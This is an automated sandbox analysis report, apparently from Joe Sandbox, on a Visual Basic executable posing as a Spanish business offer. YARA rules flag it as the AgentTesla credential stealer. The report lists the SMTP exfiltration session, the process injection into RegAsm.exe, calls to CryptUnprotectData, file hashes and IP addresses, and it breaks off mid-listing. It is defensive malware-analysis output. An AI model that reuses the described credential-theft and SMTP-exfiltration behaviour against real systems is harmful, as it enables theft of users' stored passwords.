Ascii: 8LW-HZ$(afjNlyfO\gs]7aydEK*+9XH@&)U5e{FH!X($=[4'bkWzB_Wy,HUK6_}\$o014\|(H:WXGG:t%8!pZJJ
2021-09-27 16:55:59 UTC	221	IN	Data Raw: fb 22 d0 c1 d3 8d 88 a6 89 42 88 fc a3 ee 32 b0 83 63 b2 1b f3 72 90 31 b1 be 3b c0 ba 11 3c 20 cd 99 f7 e6 1a 77 4a e8 d9 a6 43 f5 fc b0 e7 59 50 94 0e 7b e8 2a 0f ce 92 ad 3d 72 8d c4 bc 25 de e4 80 55 01 d5 ad 75 2b 83 05 38 aa 9e 7d 5d f4 36 e7 bc 73 90 e4 db 8d c2 78 6c 2d b7 a7 79 52 61 48 3b 18 16 bb a2 1f 75 90 0d 06 75 0f 47 ec 20 51 b1 d7 b2 08 37 ab 39 4b b2 da 47 60 65 d7 c5 2a 54 84 49 58 63 c5 ec 36 e8 69 6a 51 d7 47 90 2e 6c 0a c0 89 1f 3c 26 98 8f 4c 96 dc 77 b6 e5 4d 00 9f 6f d1 ab 9b 94 c4 70 aa 88 73 17 97 d8 75 b8 be 22 ca 5c 73 23 60 af 55 66 2e eb b7 50 35 74 1d c4 7e e6 2b 3e 92 58 29 65 0e 74 87 f5 a4 1f c7 30 9b 77 81 af 2c 7a 4b 9b d7 de 69 57 90 1b 23 98 b6 19 c5 0e f0 7a 81 a0 07 6b a9 2e 32 c9 e2 21 cb 08 8f 2d cc bf 47 7f 71 Data Ascii: "B2cr1;< wJCYP{=r%Uu+8}]6sxl-yRaH;uuG Q79KG`eTIXc6ijQG.l<&LwMopsu"\s#`Uf.P5t~+>X)et0w,zKiW#zk.2!-Gq

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Sep 27, 2021 18:57:36.170696974 CEST	587	49739	37.59.226.120	192.168.11.20	220-com306.raiolanetworks.es - ESMTP 220- Do not use of this server to send unsolicited 220 and/or bulk e-mails. These actions will be persecuted.
Sep 27, 2021 18:57:36.171293020 CEST	49739	587	192.168.11.20	37.59.226.120	EHLO 210395
Sep 27, 2021 18:57:36.188047886 CEST	587	49739	37.59.226.120	192.168.11.20	250-com306.raiolanetworks.es Hello 210395 [84.17.52.54] 250-SIZE 52428800 250-8BITMIME 250-DSN 250-PIPELINING 250-PIPE_CONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Sep 27, 2021 18:57:36.188357115 CEST	49739	587	192.168.11.20	37.59.226.120	STARTTLS
Sep 27, 2021 18:57:36.206195116 CEST	587	49739	37.59.226.120	192.168.11.20	220 TLS go ahead
Sep 27, 2021 18:57:36.236145973 CEST	587	49739	37.59.226.120	192.168.11.20	301/-+http://crl.identrust.com/DSTROOTCAX3CRL.crl0UyY{sXn0H slnRZ/ PlBoODubnx'9\nVpS+ 53a6qE#(gC,i][X"MUpgmWF9AXXmW6#\I5.N;l)#`EL;DXEE]foB8}I+kO8w.9MIA~f^B@7@H?h:Eb7WX(\`]7<\|AE5)iplr/.HZK??.Mm1v9-7C_GV2\|\|27%3%m:gfkRIXNG:fMb7OoX4C5Z{kb)'\|K?QQ>zirF2Gk}Q80=bn}12G\nw$lyGq:C<"ozWC&RH2ba\

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe PID: 6848 Parent PID: 8368

General

Start time:	18:55:00
Start date:	27/09/2021
Path:	C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe'
Imagebase:	0x400000
File size:	102400 bytes
MD5 hash:	917A78F3605ABFDA3674FE5264A721E9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
Reputation:	low

Chronological Activities

Analysis Process: RegAsm.exe PID: 8360 Parent PID: 6848

General

Start time:	18:55:31
Start date:	27/09/2021
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe'
Imagebase:	0x920000
File size:	65440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000002.5663356827.000000001DE9D000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000002.5660134124.000000001DDB1000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.5660134124.000000001DDB1000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: conhost.exe PID: 7256 Parent PID: 8360

General

Start time:	18:55:31
Start date:	27/09/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7750b0000
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe PID: 6848 Parent PID: 8368 GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exeCOMMON

Executed Functions

Function 00414190, Relevance: 73.9, APIs: 40, Strings: 2, Instructions: 401COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(?,00401196), ref: 004141AE
#648.MSVBVM60(0000000A), ref: 00414205
__vbaFreeVar.MSVBVM60 ref: 00414212
#593.MSVBVM60(0000000A), ref: 00414231
__vbaFreeVar.MSVBVM60 ref: 0041423D
__vbaOnError.MSVBVM60(000000FF), ref: 0041424C
__vbaOnError.MSVBVM60(00000000), ref: 0041425B
#582.MSVBVM60(00000000,00000000), ref: 0041426C
__vbaFpR8.MSVBVM60 ref: 00414272
#541.MSVBVM60(0000000A,15:15:15), ref: 00414299
__vbaStrVarMove.MSVBVM60(0000000A), ref: 004142A3
__vbaStrMove.MSVBVM60 ref: 004142AE
__vbaFreeVar.MSVBVM60 ref: 004142B7
__vbaNew2.MSVBVM60(00413F10,004162D4), ref: 004142D7
__vbaHresultCheckObj.MSVBVM60(00000000,?,00413EFC,00000014), ref: 0041433D
__vbaHresultCheckObj.MSVBVM60(00000000,?,00413F20,000000D8), ref: 004143A0
__vbaStrMove.MSVBVM60 ref: 004143D1
__vbaFreeObj.MSVBVM60 ref: 004143DA
#532.MSVBVM60(Specting7), ref: 004143EC
__vbaHresultCheckObj.MSVBVM60(?,?,00413DFC,000006F8), ref: 004144C1
__vbaHresultCheckObj.MSVBVM60(00000000,?,00413DCC,000002B4), ref: 00414515
#595.MSVBVM60(00004003,00000000,0000000A,0000000A,?), ref: 004145DB
__vbaFreeVarList.MSVBVM60(00000003,0000000A,0000000A,?), ref: 004145EF
__vbaFreeStr.MSVBVM60(00414644), ref: 00414634
__vbaFreeStr.MSVBVM60 ref: 0041463D

Strings

15:15:15, xrefs: 00414290
Specting7, xrefs: 004143E7

Memory Dump Source

Source File: 00000001.00000002.1195720730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1195687199.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.1195860186.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.1195893236.0000000000417000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$CheckHresult$Move$Error$#532#541#582#593#595#648ChkstkListNew2
String ID: 15:15:15$Specting7
API String ID: 4146733498-3993399904
Opcode ID: 3c6d1db976fe227ed392044fc90d2deab1ce048e51b0624c046ba83e3bfd695b
Instruction ID: 52e71bd386e4d35cda1c188df2b3de7f884be2e54592d50df9d5b5ff4b364a59
Opcode Fuzzy Hash: 3c6d1db976fe227ed392044fc90d2deab1ce048e51b0624c046ba83e3bfd695b
Instruction Fuzzy Hash: B5022774901259EFDB10DF90CD88BDDBBB4FB48305F10819AE549B72A0DB789A85CF68

Uniqueness

Uniqueness Score: -1.00%

Function 004012D4, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 139COMMON

Download Yara Rule

APIs

#100.MSVBVM60(VB5!6&*), ref: 004012D9

Strings

H, xrefs: 004012F1
VB5!6&*, xrefs: 004012D4

Memory Dump Source

Source File: 00000001.00000002.1195720730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1195687199.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.1195860186.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.1195893236.0000000000417000.00000002.00020000.sdmp Download File

Similarity

API ID: #100
String ID: H$VB5!6&*
API String ID: 1341478452-3039199882
Opcode ID: 809d59a5797431092c5fb78595f8f14c758f7665616f93406704be7c6ef00f11
Instruction ID: 11e3c499bc6831b47e136125caaebc4fcf69796d2aedc1f6781e5961bd80d171
Opcode Fuzzy Hash: 809d59a5797431092c5fb78595f8f14c758f7665616f93406704be7c6ef00f11
Instruction Fuzzy Hash: EE4198A695E3C14FD703877498692917FB0AE5B224B1E45DBC4D1CF0F3E26D180AC726

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02512356, Relevance: 1.4, Strings: 1, Instructions: 165COMMON

Download Yara Rule

Strings

W4'm, xrefs: 025123F3

Memory Dump Source

Source File: 00000001.00000002.1197391547.0000000002510000.00000040.00000001.sdmp, Offset: 02510000, based on PE: false

Similarity

API ID:
String ID: W4'm
API String ID: 0-3174697675
Opcode ID: 7e291f22ce4adffb1010cc2b7b298e556a6866b2afd7f76520daf36d2f08a5ee
Instruction ID: 193846902af9645978e7a1fd17011a2dda6628c3472865a6023ad669a6876596
Opcode Fuzzy Hash: 7e291f22ce4adffb1010cc2b7b298e556a6866b2afd7f76520daf36d2f08a5ee
Instruction Fuzzy Hash: 19519F33948BA75FD7278E188C568CABFA4FB01628BA45A4DD890CF6D2D761D407CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 004149E0, Relevance: 71.0, APIs: 47, Instructions: 452COMMON

Download Yara Rule

APIs

#713.MSVBVM60(00413F6C,?,?,?,?,?,?,?,?,?,?,?,?,?,00401196), ref: 00414A28
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,00401196), ref: 00414A33
__vbaStrCmp.MSVBVM60(00413F78,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00401196), ref: 00414A3F
__vbaFreeStr.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,00401196), ref: 00414A52
__vbaRedim.MSVBVM60(00000080,00000002,?,00000002,00000001,00000012,00000000), ref: 00414A73
__vbaGenerateBoundsError.MSVBVM60 ref: 00414A9B
__vbaGenerateBoundsError.MSVBVM60 ref: 00414AAB
__vbaGenerateBoundsError.MSVBVM60 ref: 00414AD7
__vbaGenerateBoundsError.MSVBVM60 ref: 00414AE1
__vbaGenerateBoundsError.MSVBVM60 ref: 00414B0D
__vbaGenerateBoundsError.MSVBVM60 ref: 00414B17
__vbaGenerateBoundsError.MSVBVM60 ref: 00414B43
__vbaGenerateBoundsError.MSVBVM60 ref: 00414B4D
__vbaGenerateBoundsError.MSVBVM60 ref: 00414B79
__vbaGenerateBoundsError.MSVBVM60 ref: 00414B83
__vbaGenerateBoundsError.MSVBVM60 ref: 00414BAF
__vbaGenerateBoundsError.MSVBVM60 ref: 00414BB9
__vbaGenerateBoundsError.MSVBVM60 ref: 00414BE5
__vbaGenerateBoundsError.MSVBVM60 ref: 00414BEF
__vbaGenerateBoundsError.MSVBVM60 ref: 00414C1B
__vbaGenerateBoundsError.MSVBVM60 ref: 00414C25
__vbaGenerateBoundsError.MSVBVM60 ref: 00414C51
__vbaGenerateBoundsError.MSVBVM60 ref: 00414C5B
__vbaGenerateBoundsError.MSVBVM60 ref: 00414C87
__vbaGenerateBoundsError.MSVBVM60 ref: 00414C91
__vbaGenerateBoundsError.MSVBVM60 ref: 00414CBD
__vbaGenerateBoundsError.MSVBVM60 ref: 00414CC7
__vbaGenerateBoundsError.MSVBVM60 ref: 00414CF3
__vbaGenerateBoundsError.MSVBVM60 ref: 00414CFD
__vbaGenerateBoundsError.MSVBVM60 ref: 00414D29
__vbaGenerateBoundsError.MSVBVM60 ref: 00414D33
__vbaGenerateBoundsError.MSVBVM60 ref: 00414D5F
__vbaGenerateBoundsError.MSVBVM60 ref: 00414D69
__vbaGenerateBoundsError.MSVBVM60 ref: 00414D95
__vbaGenerateBoundsError.MSVBVM60 ref: 00414D9F
__vbaGenerateBoundsError.MSVBVM60 ref: 00414DCB
__vbaGenerateBoundsError.MSVBVM60 ref: 00414DD5
__vbaGenerateBoundsError.MSVBVM60 ref: 00414E01
__vbaGenerateBoundsError.MSVBVM60 ref: 00414E0B
__vbaGenerateBoundsError.MSVBVM60 ref: 00414E37
__vbaGenerateBoundsError.MSVBVM60 ref: 00414E41
__vbaNew2.MSVBVM60(00413F10,004162D4), ref: 00414E61
__vbaHresultCheckObj.MSVBVM60(00000000,0239004C,00413EFC,00000014), ref: 00414E8C
__vbaHresultCheckObj.MSVBVM60(00000000,?,00413F20,00000078), ref: 00414EB4
__vbaFreeObj.MSVBVM60 ref: 00414EB9
__vbaHresultCheckObj.MSVBVM60(00000000,00401180,00413DCC,00000254), ref: 00414EE2
__vbaAryDestruct.MSVBVM60(00000000,?,00414F0B), ref: 00414F04

Memory Dump Source

Source File: 00000001.00000002.1195720730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1195687199.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.1195860186.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.1195893236.0000000000417000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$BoundsErrorGenerate$CheckHresult$Free$#713DestructMoveNew2Redim
String ID:
API String ID: 58225848-0
Opcode ID: 882af151919d73a61ef6661963843fd0dd16c4d064264ef88c60663b81e95961
Instruction ID: 84c0b27a2f25101fd38aac60724717421bf8a53205c2e6f0ac8a2af43e6d11e0
Opcode Fuzzy Hash: 882af151919d73a61ef6661963843fd0dd16c4d064264ef88c60663b81e95961
Instruction Fuzzy Hash: 2D025B35A0021A8BCF14DFA4D5819BEF7B5BF84314F21416AC9026B790D775ECC6CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00414820, Relevance: 16.6, APIs: 11, Instructions: 128COMMON

Download Yara Rule

APIs

__vbaHresultCheckObj.MSVBVM60(00000000,?,00413DCC,00000114), ref: 0041487D
__vbaHresultCheckObj.MSVBVM60(00000000,?,00413DCC,00000110), ref: 004148A6
#554.MSVBVM60 ref: 004148B2
__vbaNew2.MSVBVM60(00413F10,004162D4), ref: 004148CA
__vbaHresultCheckObj.MSVBVM60(00000000,0239004C,00413EFC,00000014), ref: 004148EF
__vbaHresultCheckObj.MSVBVM60(00000000,?,00413F20,000000C0), ref: 00414915
__vbaFreeObj.MSVBVM60 ref: 0041491A
__vbaNew2.MSVBVM60(00413F10,004162D4), ref: 00414932
__vbaHresultCheckObj.MSVBVM60(00000000,0239004C,00413EFC,00000034), ref: 0041497C
__vbaObjSet.MSVBVM60(?,?), ref: 0041498D
__vbaFreeObj.MSVBVM60(004149B5), ref: 004149AE

Memory Dump Source

Source File: 00000001.00000002.1195720730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1195687199.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.1195860186.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.1195893236.0000000000417000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$CheckHresult$FreeNew2$#554
String ID:
API String ID: 420915087-0
Opcode ID: 27993cfe1d4b2582f757000ef224729e9a48c8e47db4d6c3ead5ce88425e7d1a
Instruction ID: f3a47797de589d875ecf583278552485692ba56d28eed762bb6c5546397294b5
Opcode Fuzzy Hash: 27993cfe1d4b2582f757000ef224729e9a48c8e47db4d6c3ead5ce88425e7d1a
Instruction Fuzzy Hash: E341B3B1901215ABDB04EFA4DD89EDE7BB8FF48705F20446AF144B7290C7B49D84CBA8

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RegAsm.exe PID: 8360 Parent PID: 6848 RegAsm.exeCOMMON

Executed Functions

Function 00C46958, Relevance: 4.0, APIs: 2, Instructions: 963libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 00C46958
LdrInitializeThunk.NTDLL ref: 00C474D7

Memory Dump Source

Source File: 00000009.00000002.5630395829.0000000000C40000.00000040.00000001.sdmp, Offset: 00C40000, based on PE: false

Similarity

API ID: DispatcherExceptionInitializeThunkUser
String ID:
API String ID: 243558500-0
Opcode ID: cd497070727030c238c80d45a7185e6f9a4d7bce3795c8e12fec0d30b9ec0526
Instruction ID: f49a5974c6bbdaa0cd7882d8aa9fd174bcc78f6266b03debb2c00064764aa06a
Opcode Fuzzy Hash: cd497070727030c238c80d45a7185e6f9a4d7bce3795c8e12fec0d30b9ec0526
Instruction Fuzzy Hash: A3A218B4A04228CFDB64DF34C99869DB7B6BF48305F2185EAD50AA3354DB349E86CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00CA6868, Relevance: 1.9, APIs: 1, Instructions: 396COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.5631178390.0000000000CA0000.00000040.00000001.sdmp, Offset: 00CA0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ca24484a45f23f52f014591a6d95826e191af6f99adcbf82022df3c43747e17
Instruction ID: af84ee1c79eed090590984b71b15049671fca748e3d2fa0d478f2e00a3a944e8
Opcode Fuzzy Hash: 0ca24484a45f23f52f014591a6d95826e191af6f99adcbf82022df3c43747e17
Instruction Fuzzy Hash: 8FF14B30A0021ACFDB14CFA9C988BADBBF1FF49318F19C569D415AB2A1DB70AD45DB41

Uniqueness

Uniqueness Score: -1.00%

Function 1CB63CEC, Relevance: 1.6, APIs: 1, Instructions: 55encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?), ref: 1CB644AD

Memory Dump Source

Source File: 00000009.00000002.5653044561.000000001CB60000.00000040.00000001.sdmp, Offset: 1CB60000, based on PE: false

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 0fe061b76a997b1825e57accb0fcf3357a37540a7cc96870532ae6331c288e42
Instruction ID: 78eb5b3f324c3b8371a5aa86d260151f9362ef177caeccda4f8e0ada3deaeb94
Opcode Fuzzy Hash: 0fe061b76a997b1825e57accb0fcf3357a37540a7cc96870532ae6331c288e42
Instruction Fuzzy Hash: F31137768002499FCB10CF99C845BEEBFF5EF48320F15841AEA14A7610C779AA54DFA2

Uniqueness

Uniqueness Score: -1.00%

Function 1CB64440, Relevance: 1.6, APIs: 1, Instructions: 55encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?), ref: 1CB644AD

Memory Dump Source

Source File: 00000009.00000002.5653044561.000000001CB60000.00000040.00000001.sdmp, Offset: 1CB60000, based on PE: false

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 3f49dbddddec33f58624f527b4d7b4f2c4237916e1c9e0a9c651723bd1c4d094
Instruction ID: 54e606b795bb9691b06f5621a9f5c32a85f9a3949cf9a42ce20e7aa947b2a0d7
Opcode Fuzzy Hash: 3f49dbddddec33f58624f527b4d7b4f2c4237916e1c9e0a9c651723bd1c4d094
Instruction Fuzzy Hash: 11117972800249DFCB00CF99C844BEEBFF5EF48320F14841AE558A7611C339A654CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 1DBDA2DB, Relevance: 6.1, APIs: 4, Instructions: 146threadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 1DBDA386
GetCurrentThread.KERNEL32 ref: 1DBDA3C3
GetCurrentProcess.KERNEL32 ref: 1DBDA400
GetCurrentThreadId.KERNEL32 ref: 1DBDA459

Memory Dump Source

Source File: 00000009.00000002.5658878749.000000001DBD0000.00000040.00000001.sdmp, Offset: 1DBD0000, based on PE: false

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: cb23ab85d5be430e83a19198299787e4e9e00926b55d78abeacec0a38a126b5d
Instruction ID: 7221df680ea041b0576234db8fba8037b90758c8ca6537c5a9dad6dda52a7c57
Opcode Fuzzy Hash: cb23ab85d5be430e83a19198299787e4e9e00926b55d78abeacec0a38a126b5d
Instruction Fuzzy Hash: 3D518E709057888FEB45CFA9C448BAEBFF1EF49308F25845AD00AA7261D7789944CF26

Uniqueness

Uniqueness Score: -1.00%

Function 1DBDA308, Relevance: 6.1, APIs: 4, Instructions: 128threadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 1DBDA386
GetCurrentThread.KERNEL32 ref: 1DBDA3C3
GetCurrentProcess.KERNEL32 ref: 1DBDA400
GetCurrentThreadId.KERNEL32 ref: 1DBDA459

Memory Dump Source

Source File: 00000009.00000002.5658878749.000000001DBD0000.00000040.00000001.sdmp, Offset: 1DBD0000, based on PE: false

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 5c884501ef33515c93a31aa9c73b6815047fbf109e9a92a7dd5bdf4f27c7d571
Instruction ID: 60de057baf8b78933811264b95dddf124d70cccf72a0dc1f425e5d8bc5fd7ec4
Opcode Fuzzy Hash: 5c884501ef33515c93a31aa9c73b6815047fbf109e9a92a7dd5bdf4f27c7d571
Instruction Fuzzy Hash: 77517BB0D007498FEB54CFA9C588BAEBBF1EF49318F248419D40AA7361D774A944CF66

Uniqueness

Uniqueness Score: -1.00%

Function 010283E8, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 148libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01028449

Strings

LRDl, xrefs: 010284E4
LRDl, xrefs: 01028480

Memory Dump Source

Source File: 00000009.00000002.5634623417.0000000001020000.00000040.00000001.sdmp, Offset: 01020000, based on PE: false

Similarity

API ID: InitializeThunk
String ID: LRDl$LRDl
API String ID: 2994545307-1551154592
Opcode ID: bf7746d1a0edc4a213873d9acc5eec5e9e0730865571a674c594f31d31e5daac
Instruction ID: 4776b15a8a5a7c80844becbca500853137200e49bae8e391d8a24d4abffcae0a
Opcode Fuzzy Hash: bf7746d1a0edc4a213873d9acc5eec5e9e0730865571a674c594f31d31e5daac
Instruction Fuzzy Hash: DA51B471B002189FCB04DFB4C889A9EB7F5BF89204B15896AD513AB350EF30EC048B91

Uniqueness

Uniqueness Score: -1.00%

Function 010283E4, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 140libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01028449

Strings

LRDl, xrefs: 010284E4
LRDl, xrefs: 01028480

Memory Dump Source

Source File: 00000009.00000002.5634623417.0000000001020000.00000040.00000001.sdmp, Offset: 01020000, based on PE: false

Similarity

API ID: InitializeThunk
String ID: LRDl$LRDl
API String ID: 2994545307-1551154592
Opcode ID: 6e4b777c384d0e4c243c383be2db700c24f53c713cbf0b61f181138afcfe7251
Instruction ID: 563781238590409cdbceebfd7d667c45077d41c3ba22d33cb810f24ae34a48c5
Opcode Fuzzy Hash: 6e4b777c384d0e4c243c383be2db700c24f53c713cbf0b61f181138afcfe7251
Instruction Fuzzy Hash: 49518335B102189FCB04DFB4C899A9EB7F5BF89204F14896AE513EB351DB70EC058B51

Uniqueness

Uniqueness Score: -1.00%

Function 00C46979, Relevance: 2.1, APIs: 1, Instructions: 637libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C474D7

Memory Dump Source

Source File: 00000009.00000002.5630395829.0000000000C40000.00000040.00000001.sdmp, Offset: 00C40000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e09b1c150225b30046495ff4ceffa75d394eaccbd805a4e403aee5f9bfbe47e3
Instruction ID: ff877d0a71125f354ef9107a2ea35563cd6773a21af0a15b99911c6da3b1b68d
Opcode Fuzzy Hash: e09b1c150225b30046495ff4ceffa75d394eaccbd805a4e403aee5f9bfbe47e3
Instruction Fuzzy Hash: E162F674A08228CFDB64DF74C99869DB7B6BF48305F2085EAD51AA3354DB349E86CF01

Uniqueness

Uniqueness Score: -1.00%

Function 00C469C0, Relevance: 2.1, APIs: 1, Instructions: 630libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C474D7

Memory Dump Source

Source File: 00000009.00000002.5630395829.0000000000C40000.00000040.00000001.sdmp, Offset: 00C40000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c74761e432bb83f1061664693e806d05e0b1b51e0f69fa31a3af17ce7c94e7f5
Instruction ID: 362452c826b2533037bdc074515e102b468f018738fecc14b637187a10a2c805
Opcode Fuzzy Hash: c74761e432bb83f1061664693e806d05e0b1b51e0f69fa31a3af17ce7c94e7f5
Instruction Fuzzy Hash: 54620774A08228CFDB64DF74C99869DB7B6BF48305F2085EAD51AA3354DB349E86CF01

Uniqueness

Uniqueness Score: -1.00%

Function 00C46A07, Relevance: 2.1, APIs: 1, Instructions: 623libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C474D7

Memory Dump Source

Source File: 00000009.00000002.5630395829.0000000000C40000.00000040.00000001.sdmp, Offset: 00C40000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ce3064b44e96a05a2af96b781d6f63c24c34d98c6499575031425c5fe1665f20
Instruction ID: db93623ce0fb09c225905c79536462a25d0bb5b7cff5c60d892ea5dc84ba5d6b
Opcode Fuzzy Hash: ce3064b44e96a05a2af96b781d6f63c24c34d98c6499575031425c5fe1665f20
Instruction Fuzzy Hash: 31520774A08228CFDB64DF74C99869DB7B6BF48305F2085EAD51AA3354DB349E86CF01

Uniqueness

Uniqueness Score: -1.00%

Function 00C46A4E, Relevance: 2.1, APIs: 1, Instructions: 616libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C474D7

Memory Dump Source

Source File: 00000009.00000002.5630395829.0000000000C40000.00000040.00000001.sdmp, Offset: 00C40000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: d21a8012935e258de5ff347476d3b52db43d55e4652d413cabb1552a0462ccc4
Instruction ID: f0e6ed17f5ed07b029a7ded555f9e1360be733c14228e4fe5de898e97b14dc0c
Opcode Fuzzy Hash: d21a8012935e258de5ff347476d3b52db43d55e4652d413cabb1552a0462ccc4
Instruction Fuzzy Hash: 4E520774A08228CFDB64DF74C99869DB7B6BF48305F2085EAD51AA3354DB349E86CF01

Uniqueness

Uniqueness Score: -1.00%

Function 00C46A95, Relevance: 2.1, APIs: 1, Instructions: 609libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C474D7

Memory Dump Source

Source File: 00000009.00000002.5630395829.0000000000C40000.00000040.00000001.sdmp, Offset: 00C40000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7ef79359cb6fc173cf7ceb053bce7eeb3b7cd13b9ac4803d3e31c993b05caf2b
Instruction ID: f1fa274342050d434788937c7c4849e33c6a5eeea95a1d3f7ea7bb55ca0ebcac
Opcode Fuzzy Hash: 7ef79359cb6fc173cf7ceb053bce7eeb3b7cd13b9ac4803d3e31c993b05caf2b
Instruction Fuzzy Hash: 08521874A08228CFDB64DF74C99869DB7B6BF48305F2085EAD51AA3354CB349E86CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00C46ADC, Relevance: 2.1, APIs: 1, Instructions: 602libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C474D7

Memory Dump Source

Source File: 00000009.00000002.5630395829.0000000000C40000.00000040.00000001.sdmp, Offset: 00C40000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 322d354a4d09473016ec75e3b827041bfdb26fb03a52a2b91c8f3c836703205f
Instruction ID: cd3117df58b05fc3b965755d3619202145d5e1cbd3023c010dd019f5830a6837
Opcode Fuzzy Hash: 322d354a4d09473016ec75e3b827041bfdb26fb03a52a2b91c8f3c836703205f
Instruction Fuzzy Hash: 06520874A08228CFDB64DF74C99869DB7B6BF48305F2085EAD51AA3354DB349E86CF01

Uniqueness

Uniqueness Score: -1.00%

Function 00C46B39, Relevance: 2.1, APIs: 1, Instructions: 591libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00C474D7

Memory Dump Source

Source File: 00000009.00000002.5630395829.0000000000C40000.00000040.00000001.sdmp, Offset: 00C40000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
